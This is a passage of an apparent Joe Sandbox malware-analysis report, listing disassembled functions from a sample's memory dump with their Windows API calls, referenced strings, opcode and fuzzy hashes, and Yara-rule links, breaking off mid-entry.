Opcode Fuzzy Hash: b9b6f4387e5de3d0ff1cfc0aefef34a35ffebd8f815b4059762c6b01ff9f77ae
Instruction Fuzzy Hash: F8E06531245251AEDF215B75BC09BD83F21EB11376F14821AF6F9640E1C3714648DB10

Function 00EA162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00EA1634
OpenThreadToken.ADVAPI32(00000000,?,?,?,00EA11D9), ref: 00EA163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00EA11D9), ref: 00EA1648
OpenProcessToken.ADVAPI32(00000000,?,?,?,00EA11D9), ref: 00EA164F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 024cfddb878e58993d49d6bc6d1b636aa0ab3c93b2e1259137531a040df79714
Instruction ID: a0776455a6acb6ca12f7a12047889efb78c4d13742cfebd2696ccd48d49421bd
Opcode Fuzzy Hash: 024cfddb878e58993d49d6bc6d1b636aa0ab3c93b2e1259137531a040df79714
Instruction Fuzzy Hash: 4CE04F316022129FD7201BA2AE0DB463B68EF457E5F244849F245E9090E6245449C750

Function 00E9D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E9D858
GetDC.USER32(00000000), ref: 00E9D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E9D882
ReleaseDC.USER32(?), ref: 00E9D8A3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 0ba61739e30bf54ddca0fd94e7f75f8560201a895a6ea3eb94bbaaadebc57e12
Instruction ID: ba4352ae397a10076e9d6489bbf4645241e754a13a9961ca606127c2e1bf5a3b
Opcode Fuzzy Hash: 0ba61739e30bf54ddca0fd94e7f75f8560201a895a6ea3eb94bbaaadebc57e12
Instruction Fuzzy Hash: 26E01AB0805206DFCF519FA1EC0866DBBF2FB08751F28A40AE816F7250C738890AEF40

Function 00E9D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00E9D86C
GetDC.USER32(00000000), ref: 00E9D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E9D882
ReleaseDC.USER32(?), ref: 00E9D8A3

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 30260d566edd4a357adb12f796ef747985aa59350e96cf38c2f9f74232d18c27
Instruction ID: b75b238e1c4f6b84fc62bbbfc64e731d555d32cb06f5444c90130940517ea50b
Opcode Fuzzy Hash: 30260d566edd4a357adb12f796ef747985aa59350e96cf38c2f9f74232d18c27
Instruction Fuzzy Hash: 58E01A70801201DFCB509FA1E80866DBBF1FB08751B28940AE816F7250C738990ADF40

Function 00EB4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00E47620: _wcslen.LIBCMT ref: 00E47625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00EB4ED4

Strings

*, xrefs: 00EB4E10
LPT, xrefs: 00EB4DFB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: b93d1038aae5c04d4c4e406af5b544a4888b87fedfdc56fa50dcb8dab61ef718
Instruction ID: cfd71b008700ca13c39de1f7ec06447231271cfcd75a61f94c1e6ed5c412b3f2
Opcode Fuzzy Hash: b93d1038aae5c04d4c4e406af5b544a4888b87fedfdc56fa50dcb8dab61ef718
Instruction Fuzzy Hash: F69142B5A002149FCB14DF54C484EEABBF5BF44308F19A099E84AAF3A2D735ED45CB91

Function 00E6E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00E6E30D

Strings

pow, xrefs: 00E6E2E5, 00E6E302

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 0e9a6a809e343a3e576b98a7430d99e2fc954301ad1a78fe3f0644f21c9dbb12
Instruction ID: f9bb4e9889ae3215ea856af48b9e51222afadd59f3abe0f9cefab0bd3f86cf17
Opcode Fuzzy Hash: 0e9a6a809e343a3e576b98a7430d99e2fc954301ad1a78fe3f0644f21c9dbb12
Instruction Fuzzy Hash: F6518065A8C20696CB257B14D9413BA3BD8EB407C4F30F95CF0D9B63E9DF308C959A86

Function 00E5E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00E5E1B1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 0c705a103237629ae7ba233f1e0e1fa303b508dfe717039fece017e0011277ec
Instruction ID: 0e346a94bc2b67c75d30021fad6849d385f60df6463aa7d8f3a7ec1488813c65
Opcode Fuzzy Hash: 0c705a103237629ae7ba233f1e0e1fa303b508dfe717039fece017e0011277ec
Instruction Fuzzy Hash: CC511F35904206DEDF18DFA8C0816FA7BA8EF15314F246856ED91BB390D6309E86CBA1

Function 00E5F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00E5F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00E5F2BB

Strings

@, xrefs: 00E5F2AF

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 7316116f2896bb166389c4025699dd7109cf37f7fafd2711b49f87fe079c5a4b
Instruction ID: 7947a6dcedf0b2a909d11ce490598b4a3831c176922d1363f96648b27449fee2
Opcode Fuzzy Hash: 7316116f2896bb166389c4025699dd7109cf37f7fafd2711b49f87fe079c5a4b
Instruction Fuzzy Hash: C85156715097489BD320AF51EC86BABBBF8FF84300F91884DF1D9611A5EB318529CB67

Function 00EC5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00EC57E0
_wcslen.LIBCMT ref: 00EC57EC

Strings

CALLARGARRAY, xrefs: 00EC57E6, 00EC57EB

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 317e43e1cd7bda306bb29f0cc2683bc66514841eb9cb6a817249b9c9a78bf2b3
Instruction ID: aa31f90762ecf853725af5829bd9ab4627bae54f905d97feefe91c543d45f42f
Opcode Fuzzy Hash: 317e43e1cd7bda306bb29f0cc2683bc66514841eb9cb6a817249b9c9a78bf2b3
Instruction Fuzzy Hash: 75417F32A002059FCB18DFA8C982DAEBBF5EF59354B14606DF515B7251D731AD82CBA0

Function 00EBD0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EBD130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00EBD13A

Strings

|, xrefs: 00EBD10B

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: ef46ab4ea963801ed14de2f674b7167030f31a1179d0624f9095edb15f572459
Instruction ID: 9e29d86a8b50da7e2d28df3774bd56f4ca26776f58f60cb4ed09fb040e8e1ecc
Opcode Fuzzy Hash: ef46ab4ea963801ed14de2f674b7167030f31a1179d0624f9095edb15f572459
Instruction Fuzzy Hash: A3311871D01219ABCF15EFA4DC85AEFBFB9FF09344F101019E815B6162EB31AA06DB61

Function 00ED356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00ED3621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00ED365C

Strings

static, xrefs: 00ED35BC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 807c07caa2d3dbeb5fd1b7fd2075087ea70f0acd2924410163ed75121b879821
Instruction ID: bd377ffa44ca0ae24d931270e5e5e9c1b6c95a989c953e7171f96a4c0e9f34b7
Opcode Fuzzy Hash: 807c07caa2d3dbeb5fd1b7fd2075087ea70f0acd2924410163ed75121b879821
Instruction Fuzzy Hash: AA319071110604AEDB20DF38DC41EFB73A9FF48764F10A61AF9A5A7280DA31ED82D761

Function 00ED4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00ED461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00ED4634

Strings

', xrefs: 00ED458E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: eaab1231e63d7d4fba61b9f057d594300d7f5743eef435ae8789e7331dd9fe24
Instruction ID: 3acbf01f238a222087ab89312cbe3ce6d97a111fefc7a8f45f4aeb2453246b23
Opcode Fuzzy Hash: eaab1231e63d7d4fba61b9f057d594300d7f5743eef435ae8789e7331dd9fe24
Instruction Fuzzy Hash: 9D3136B4A0120A9FDF14CFA9D981BDABBB5FF19304F14506AE915AB381D770E942CF90

Function 00ED31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00ED327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00ED3287

Strings

Combobox, xrefs: 00ED3249

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 97df0d6d33b01a9c9c96153b6388d6b977e2a9ba987de7522c82473feacf9526
Instruction ID: bc2a86d4a7ce17867ffd0ce45cd9b9d21114241a04bf824fa4a1e5f3cf0fd0d3
Opcode Fuzzy Hash: 97df0d6d33b01a9c9c96153b6388d6b977e2a9ba987de7522c82473feacf9526
Instruction Fuzzy Hash: B611E6717002087FEF219E64DC80EBB375BEB54368F105126F514A73A0D631DD529761

Function 00ED3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00E4600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00E4604C
Part of subcall function 00E4600E: GetStockObject.GDI32(00000011), ref: 00E46060
Part of subcall function 00E4600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E4606A

GetWindowRect.USER32(00000000,?), ref: 00ED377A
GetSysColor.USER32(00000012), ref: 00ED3794

Strings

static, xrefs: 00ED3757

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 098288a9121bba36e2dc249e83ccfb15e470f3bda34828314007283d75e5178b
Instruction ID: c8cf64924c723a1720f81c760165d343c21dbfabb677c207a46dfe6e84a58cac
Opcode Fuzzy Hash: 098288a9121bba36e2dc249e83ccfb15e470f3bda34828314007283d75e5178b
Instruction Fuzzy Hash: 531156B261020AAFDF00DFB8DC46AEA7BF8FB08354F005926F955E2250E735E811DB60

Function 00EBCD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00EBCD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00EBCDA6

Strings

<local>, xrefs: 00EBCD66

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: f8b5c3d5059409741ae00ba3c945bf57dc49b9b63236e1aca839881d5b9bee53
Instruction ID: 4598f9587df83011c28640f385effd09bb292665bd3175198b70fd09f73ec428
Opcode Fuzzy Hash: f8b5c3d5059409741ae00ba3c945bf57dc49b9b63236e1aca839881d5b9bee53
Instruction Fuzzy Hash: 2A11C6792096327AD7344B668C45EE7BE6CEF527A8F60522AB149A3080D7709845D6F0

Function 00ED3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00ED34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00ED34BA

Strings

edit, xrefs: 00ED348F

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 5f30f6050efc630e1cdc681154858fe26a1ffcbb6b964a13a26cfb9ed1d91c91
Instruction ID: b5d35a4dbbea7d50cf90bb37105df8ee202284ede228c9b4fb240279d340c708
Opcode Fuzzy Hash: 5f30f6050efc630e1cdc681154858fe26a1ffcbb6b964a13a26cfb9ed1d91c91
Instruction Fuzzy Hash: 19118F71100208AFEF214E74EC44AEB37AAEB05778F606326F971A32D0C779DC569752

Function 00EA6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

CharUpperBuffW.USER32(?,?,?), ref: 00EA6CB6
_wcslen.LIBCMT ref: 00EA6CC2

Strings

STOP, xrefs: 00EA6CBC, 00EA6CC1

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 02c6ea1d6a59916bbb2a9829f9f87cd0bf80edd5e9b8a908e00e5e5a7ac3b149
Instruction ID: 8d8e8ae0e85dd5e8c5b6a0d360f718f22fb76c80889b6d4294fe085614bd8705
Opcode Fuzzy Hash: 02c6ea1d6a59916bbb2a9829f9f87cd0bf80edd5e9b8a908e00e5e5a7ac3b149
Instruction Fuzzy Hash: B20108326005278BCB20AFBDDC809BF73F4EF6B7647151924E462BA195EA31E900C650

Function 00EA1CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00EA3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00EA3CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00EA1D4C

Strings

ComboBox, xrefs: 00EA1CEB
ListBox, xrefs: 00EA1D16

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ea33eddc187e917535488184a96e17666a7c04bac5d381ee2d1e9c9ad690ef51
Instruction ID: 9290958704025a967a23dd35ae0de3e910e8d13fcb24479d18c9d7117d3bbbe6
Opcode Fuzzy Hash: ea33eddc187e917535488184a96e17666a7c04bac5d381ee2d1e9c9ad690ef51
Instruction Fuzzy Hash: 2301DD75A411146BCB08EBA4DC55CFFB7A8EB4B750F141559F8327B2C2DA3069089661

Function 00EA1BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00EA3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00EA3CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00EA1C46

Strings

ComboBox, xrefs: 00EA1BE5
ListBox, xrefs: 00EA1C10

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ec8faf27040514b6bb632098e07a93da6d445bf5f334e9b4df4034ea26cb5d01
Instruction ID: 5c2e13396629d93e2da47827307ef6c3bcd78d1d7a0c082cdde3d122b0ca2f4b
Opcode Fuzzy Hash: ec8faf27040514b6bb632098e07a93da6d445bf5f334e9b4df4034ea26cb5d01
Instruction Fuzzy Hash: C501FC75AC110466CB08E7A0DD51AFFF7E89B1A350F102015B4067B1C2EA20AE0CD6B2

Function 00EA1C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Part of subcall function 00EA3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00EA3CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00EA1CC8

Strings

ComboBox, xrefs: 00EA1C69
ListBox, xrefs: 00EA1C94

Memory Dump Source

